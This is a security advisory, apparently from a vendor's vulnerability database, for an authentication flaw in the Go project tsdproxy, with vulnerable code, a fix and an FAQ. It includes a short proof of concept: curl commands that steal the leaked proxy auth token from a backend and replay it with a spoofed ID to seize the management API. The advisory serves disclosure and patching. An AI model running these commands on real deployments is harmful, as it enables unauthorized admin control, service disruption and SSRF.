GHSA-G936-7JQJ-MWV8

TSDProxy: Internal proxy auth token forwarded to backend services enables management API escalation

// port.go: auth token forwarded regardless of user authentication state
if identityHeaders {
    if user, ok := model.WhoisFromContext(r.In.Context()); ok {
        // ok=true even for empty Whois{} stored by ProviderUserMiddleware
        r.Out.Header.Set(consts.HeaderAuthToken, core.ProxyAuthToken()) // token sent to backend
    }
}

// admin.go: management port trusts x-tsdproxy-id from localhost when token is valid
func ResolveWhois(r *http.Request) model.Whois {
    if IsLocalhost(r.RemoteAddr) {
        return model.Whois{
            ID: r.Header.Get(consts.HeaderID), // attacker-controlled after stealing token
        }
    }
    return model.Whois{}
}

# Capture token from backend headers (e.g., via a header-reflection endpoint)
TOKEN=$(curl -s http://localhost:3000/debug/headers | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['headers'].get('X-Tsdproxy-Auth-Token',''))")

# Replay from localhost to gain admin access
curl -H "x-tsdproxy-auth-token: $TOKEN" \
     -H "x-tsdproxy-id: attacker" \
     http://127.0.0.1:8080/api/v1/proxies
# Returns full proxy list with admin access

An attacker with code execution in any backend proxied by tsdproxy (on the same host) gains full management API control: restart or pause all proxied services (DoS), enumerate all proxy configurations and backend network topology, and trigger webhook deliveries (SSRF via configured webhook URLs).

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

GHSA-G936-7JQJ-MWV8 has a CVSS score of 9.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.4-0.20260603142855-434819b4421e); upgrading removes the vulnerable code path.

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Remove HeaderAuthToken from the outgoing backend request, and guard identity-header injection on user.ID != "":

// port.go: only inject headers for actually authenticated users
if identityHeaders {
    if user, ok := model.WhoisFromContext(r.In.Context()); ok && user.ID != "" {
        r.Out.Header.Set(consts.HeaderID, user.ID)
        // HeaderAuthToken should NOT be forwarded to backends
    }
}

1. What is GHSA-G936-7JQJ-MWV8? GHSA-G936-7JQJ-MWV8 is a critical-severity improper authentication vulnerability in github.com/almeidapaulopt/tsdproxy (go), affecting versions < 1.4.4-0.20260603142855-434819b4421e. It is fixed in 1.4.4-0.20260603142855-434819b4421e. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is GHSA-G936-7JQJ-MWV8? GHSA-G936-7JQJ-MWV8 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/almeidapaulopt/tsdproxy are affected by GHSA-G936-7JQJ-MWV8? github.com/almeidapaulopt/tsdproxy (go) versions < 1.4.4-0.20260603142855-434819b4421e is affected.
4. Is there a fix for GHSA-G936-7JQJ-MWV8? Yes. GHSA-G936-7JQJ-MWV8 is fixed in 1.4.4-0.20260603142855-434819b4421e. Upgrade to this version or later.
5. Is GHSA-G936-7JQJ-MWV8 exploitable, and should I be worried? Whether GHSA-G936-7JQJ-MWV8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-G936-7JQJ-MWV8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-G936-7JQJ-MWV8? Upgrade github.com/almeidapaulopt/tsdproxy to 1.4.4-0.20260603142855-434819b4421e or later.